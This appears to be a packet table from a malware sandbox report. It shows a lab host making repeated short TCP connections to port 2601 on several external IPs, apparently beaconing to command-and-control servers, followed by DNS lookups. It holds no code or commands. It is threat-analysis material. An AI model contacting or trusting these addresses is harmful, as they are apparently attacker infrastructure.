Jan 2, 2025 08:48:37.616777897 CET	59362	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:37.619637012 CET	59362	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:37.624430895 CET	2601	59362	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:37.624485970 CET	59362	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:37.629385948 CET	2601	59362	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:38.161319017 CET	42718	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:38.166142941 CET	2601	42718	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:38.166207075 CET	42718	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:38.166418076 CET	2601	59362	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:38.166461945 CET	59362	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:38.166496992 CET	59362	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:38.170634031 CET	42718	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:38.175466061 CET	2601	42718	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:38.175519943 CET	42718	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:38.180316925 CET	2601	42718	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:38.688146114 CET	2601	42718	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:38.688225985 CET	42718	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:38.688276052 CET	42718	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:39.192217112 CET	59366	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:39.197026968 CET	2601	59366	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:39.197104931 CET	59366	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:39.199217081 CET	59366	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:39.203960896 CET	2601	59366	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:39.204005957 CET	59366	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:39.209770918 CET	2601	59366	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:39.715363979 CET	2601	59366	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:39.715585947 CET	59366	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:39.715585947 CET	59366	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:39.769201040 CET	59368	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:39.774076939 CET	2601	59368	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:39.774142981 CET	59368	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:39.775569916 CET	59368	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:39.780328035 CET	2601	59368	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:39.780373096 CET	59368	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:39.785578012 CET	2601	59368	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:40.296772003 CET	2601	59368	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:40.296853065 CET	59368	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:40.296853065 CET	59368	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:40.744956970 CET	59370	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:40.751780033 CET	2601	59370	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:40.751826048 CET	59370	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:40.904967070 CET	59370	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:40.909910917 CET	2601	59370	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:40.909965992 CET	59370	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:40.914752960 CET	2601	59370	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:41.299974918 CET	2601	59370	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:41.300039053 CET	59370	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:41.300086975 CET	59370	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:41.324697018 CET	38226	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:41.329535007 CET	2601	38226	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:41.329624891 CET	38226	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:41.333601952 CET	38226	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:41.339639902 CET	2601	38226	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:41.339694977 CET	38226	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:41.344491005 CET	2601	38226	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:42.137698889 CET	2601	38226	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:42.137761116 CET	38226	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:42.137794018 CET	38226	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:42.325282097 CET	58044	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:42.330091000 CET	2601	58044	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:42.330141068 CET	58044	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:42.333199978 CET	58044	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:42.337960005 CET	2601	58044	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:42.338006020 CET	58044	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:42.342859030 CET	2601	58044	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:43.148086071 CET	2601	58044	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:43.148143053 CET	58044	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:43.148179054 CET	58044	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:43.161215067 CET	45904	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:43.166008949 CET	2601	45904	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:43.166081905 CET	45904	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:43.169677019 CET	45904	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:43.174496889 CET	2601	45904	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:43.174541950 CET	45904	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:43.179357052 CET	2601	45904	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:43.977538109 CET	2601	45904	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:43.977637053 CET	45904	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:43.977637053 CET	45904	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:44.166695118 CET	59378	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:44.171529055 CET	2601	59378	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:44.171627045 CET	59378	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:44.172514915 CET	59378	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:44.177474022 CET	2601	59378	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:44.177542925 CET	59378	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:44.182359934 CET	2601	59378	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:44.691436052 CET	2601	59378	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:44.691529989 CET	59378	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:44.691529989 CET	59378	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:45.002706051 CET	58050	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:45.007543087 CET	2601	58050	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:45.007600069 CET	58050	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:45.011105061 CET	58050	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:45.015877962 CET	2601	58050	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:45.016011953 CET	58050	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:45.020768881 CET	2601	58050	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:45.711524963 CET	43576	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:45.716353893 CET	2601	43576	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:45.716398954 CET	43576	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:45.717175007 CET	43576	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:45.721946955 CET	2601	43576	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:45.721990108 CET	43576	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:45.726742029 CET	2601	43576	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:45.822173119 CET	2601	58050	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:45.822243929 CET	58050	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:45.822288036 CET	58050	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:46.531522036 CET	2601	43576	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:46.531630993 CET	43576	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:46.531630993 CET	43576	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:46.841073036 CET	45912	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:46.845890999 CET	2601	45912	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:46.845968008 CET	45912	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:46.848041058 CET	45912	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:46.852844954 CET	2601	45912	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:46.852888107 CET	45912	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:46.857706070 CET	2601	45912	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:47.549604893 CET	59386	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:47.554433107 CET	2601	59386	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:47.554569960 CET	59386	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:47.555651903 CET	59386	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:47.560412884 CET	2601	59386	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:47.560478926 CET	59386	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:47.565301895 CET	2601	59386	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:47.669101954 CET	2601	45912	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:47.669166088 CET	45912	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:47.669184923 CET	45912	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:48.089696884 CET	2601	59386	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:48.089842081 CET	59386	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:48.089842081 CET	59386	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:48.686279058 CET	43582	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:48.691059113 CET	2601	43582	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:48.691118956 CET	43582	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:48.691754103 CET	43582	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:48.696562052 CET	2601	43582	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:48.696604013 CET	43582	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:48.701440096 CET	2601	43582	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:49.108163118 CET	38244	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:49.113472939 CET	2601	38244	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:49.113531113 CET	38244	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:49.114420891 CET	38244	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:49.119203091 CET	2601	38244	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:49.119259119 CET	38244	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:49.125260115 CET	2601	38244	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:49.946063995 CET	2601	38244	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:49.946140051 CET	38244	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:49.946202993 CET	38244	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:50.962570906 CET	43586	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:50.967451096 CET	2601	43586	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:50.967516899 CET	43586	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:50.968072891 CET	43586	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:50.972881079 CET	2601	43586	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:50.972934961 CET	43586	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:50.977777958 CET	2601	43586	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:51.776921034 CET	2601	43586	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:51.776994944 CET	43586	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:51.777036905 CET	43586	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:52.796044111 CET	43972	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:52.802433014 CET	2601	43972	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:52.802484035 CET	43972	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:52.803050995 CET	43972	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:52.808584929 CET	2601	43972	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:52.808640003 CET	43972	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:52.816000938 CET	2601	43972	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:53.475635052 CET	2601	43972	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:53.475708008 CET	43972	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:53.475739002 CET	43972	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:54.196099997 CET	43928	443	192.168.2.23	91.189.91.42
Jan 2, 2025 08:48:54.492522955 CET	42750	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:54.497349024 CET	2601	42750	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:54.497395039 CET	42750	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:54.497922897 CET	42750	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:54.502775908 CET	2601	42750	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:54.502847910 CET	42750	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:54.507688999 CET	2601	42750	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:55.006601095 CET	2601	42750	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:55.006649971 CET	42750	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:55.006697893 CET	42750	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:56.026084900 CET	38252	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:56.030955076 CET	2601	38252	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:56.030998945 CET	38252	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:56.031522989 CET	38252	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:56.036288023 CET	2601	38252	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:56.036341906 CET	38252	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:56.041157007 CET	2601	38252	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:56.845557928 CET	2601	38252	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:56.845606089 CET	38252	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:56.845633984 CET	38252	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:57.861823082 CET	45928	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:57.866646051 CET	2601	45928	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:57.866708040 CET	45928	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:57.867212057 CET	45928	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:57.871948004 CET	2601	45928	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:57.871988058 CET	45928	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:57.876744986 CET	2601	45928	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:58.699466944 CET	43582	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:58.775947094 CET	2601	45928	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:58.776005983 CET	45928	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:58.776041031 CET	45928	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:58.776087999 CET	2601	43582	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:59.054902077 CET	2601	43582	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:59.055002928 CET	43582	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:59.792967081 CET	38256	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:59.797821045 CET	2601	38256	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:59.797883987 CET	38256	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:59.798500061 CET	38256	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:59.803337097 CET	2601	38256	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:59.803406000 CET	38256	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:59.808182955 CET	2601	38256	45.200.149.249	192.168.2.23
Jan 2, 2025 08:49:00.631747007 CET	2601	38256	45.200.149.249	192.168.2.23
Jan 2, 2025 08:49:00.631815910 CET	38256	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:49:00.631856918 CET	38256	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:49:01.649974108 CET	42758	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:01.654850006 CET	2601	42758	104.168.33.8	192.168.2.23
Jan 2, 2025 08:49:01.654922009 CET	42758	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:01.655471087 CET	42758	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:01.660252094 CET	2601	42758	104.168.33.8	192.168.2.23
Jan 2, 2025 08:49:01.660315990 CET	42758	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:01.665175915 CET	2601	42758	104.168.33.8	192.168.2.23
Jan 2, 2025 08:49:02.168879032 CET	2601	42758	104.168.33.8	192.168.2.23
Jan 2, 2025 08:49:02.168994904 CET	42758	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:02.169085026 CET	42758	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:03.185668945 CET	42760	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:03.190507889 CET	2601	42760	104.168.33.8	192.168.2.23
Jan 2, 2025 08:49:03.190584898 CET	42760	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:03.191143990 CET	42760	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:03.195954084 CET	2601	42760	104.168.33.8	192.168.2.23
Jan 2, 2025 08:49:03.196041107 CET	42760	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:03.200880051 CET	2601	42760	104.168.33.8	192.168.2.23
Jan 2, 2025 08:49:03.703269005 CET	2601	42760	104.168.33.8	192.168.2.23
Jan 2, 2025 08:49:03.703363895 CET	42760	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:03.703411102 CET	42760	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:04.720776081 CET	58078	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:49:04.725598097 CET	2601	58078	45.200.149.95	192.168.2.23
Jan 2, 2025 08:49:04.725656033 CET	58078	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:49:04.729293108 CET	58078	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:49:04.734059095 CET	2601	58078	45.200.149.95	192.168.2.23
Jan 2, 2025 08:49:04.734121084 CET	58078	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:49:04.738950968 CET	2601	58078	45.200.149.95	192.168.2.23
Jan 2, 2025 08:49:05.536058903 CET	2601	58078	45.200.149.95	192.168.2.23
Jan 2, 2025 08:49:05.536123037 CET	58078	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:49:05.536248922 CET	58078	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:49:06.553687096 CET	45938	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:49:06.558527946 CET	2601	45938	45.200.149.96	192.168.2.23
Jan 2, 2025 08:49:06.558614016 CET	45938	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:49:06.559104919 CET	45938	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:49:06.563915968 CET	2601	45938	45.200.149.96	192.168.2.23
Jan 2, 2025 08:49:06.563970089 CET	45938	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:49:06.568784952 CET	2601	45938	45.200.149.96	192.168.2.23
Jan 2, 2025 08:49:07.390690088 CET	2601	45938	45.200.149.96	192.168.2.23
Jan 2, 2025 08:49:07.390841007 CET	45938	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:49:07.390841007 CET	45938	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:49:08.407706022 CET	43606	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:49:08.412561893 CET	2601	43606	45.200.149.167	192.168.2.23
Jan 2, 2025 08:49:08.412678003 CET	43606	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:49:08.413249016 CET	43606	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:49:08.418066025 CET	2601	43606	45.200.149.167	192.168.2.23
Jan 2, 2025 08:49:08.418181896 CET	43606	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:49:08.422986031 CET	2601	43606	45.200.149.167	192.168.2.23
Jan 2, 2025 08:49:09.214404106 CET	2601	43606	45.200.149.167	192.168.2.23
Jan 2, 2025 08:49:09.214473009 CET	43606	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:49:09.214731932 CET	43606	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:49:10.231024981 CET	42768	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:10.235836029 CET	2601	42768	104.168.33.8	192.168.2.23
Jan 2, 2025 08:49:10.235902071 CET	42768	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:10.236409903 CET	42768	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:10.241250038 CET	2601	42768	104.168.33.8	192.168.2.23
Jan 2, 2025 08:49:10.241302967 CET	42768	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:10.246095896 CET	2601	42768	104.168.33.8	192.168.2.23
Jan 2, 2025 08:49:20.244590998 CET	42768	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:49:20.249566078 CET	2601	42768	104.168.33.8	192.168.2.23
Jan 2, 2025 08:49:20.372138023 CET	2601	42768	104.168.33.8	192.168.2.23
Jan 2, 2025 08:49:20.372196913 CET	42768	2601	192.168.2.23	104.168.33.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 08:48:12.848319054 CET	57521	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:12.947942019 CET	53	57521	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:12.956759930 CET	44561	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:12.963670015 CET	53	44561	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:14.813714027 CET	57896	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:15.010504961 CET	53	57896	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:15.018825054 CET	55156	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:15.155982018 CET	53	55156	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:16.993916035 CET	39561	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:17.001717091 CET	53	39561	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:17.164210081 CET	58460	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:17.172197104 CET	53	58460	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:18.864264011 CET	59901	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:18.872754097 CET	53	59901	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:18.879846096 CET	36440	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:18.887495041 CET	53	36440	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:20.720630884 CET	53315	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:20.727725029 CET	53	53315	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:20.732548952 CET	48368	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:20.740010023 CET	53	48368	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:22.042958975 CET	39491	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:22.050302029 CET	53	39491	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:22.055759907 CET	56970	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:22.106051922 CET	53	56970	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:22.279251099 CET	35753	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:22.414864063 CET	53	35753	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:22.437486887 CET	51628	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:22.444636106 CET	53	51628	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:23.934655905 CET	44484	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:23.942085981 CET	53	44484	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:23.948353052 CET	43738	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:23.956101894 CET	53	43738	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:23.974617004 CET	39008	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:23.981832027 CET	53	39008	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:23.988070011 CET	52896	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:23.995204926 CET	53	52896	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:25.503659964 CET	34896	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:25.511696100 CET	53	34896	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:25.517045021 CET	53713	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:25.524235010 CET	53	53713	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:25.853688002 CET	38254	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:25.860637903 CET	53	38254	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:25.866861105 CET	56446	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:25.873734951 CET	53	56446	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:27.348895073 CET	55059	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:27.356161118 CET	53	55059	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:27.361274958 CET	58013	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:27.368205070 CET	53	58013	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:27.557619095 CET	43123	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:27.565306902 CET	53	43123	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:27.571124077 CET	47783	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:27.579036951 CET	53	47783	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:29.065682888 CET	56364	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:29.072567940 CET	53	56364	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:29.091319084 CET	46701	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:29.099173069 CET	53	46701	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:29.259258032 CET	58504	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:29.266304970 CET	53	58504	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:29.280549049 CET	51295	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:29.287450075 CET	53	51295	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:30.827248096 CET	42508	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:30.834681988 CET	53	42508	1.1.1.1	192.168.2.23
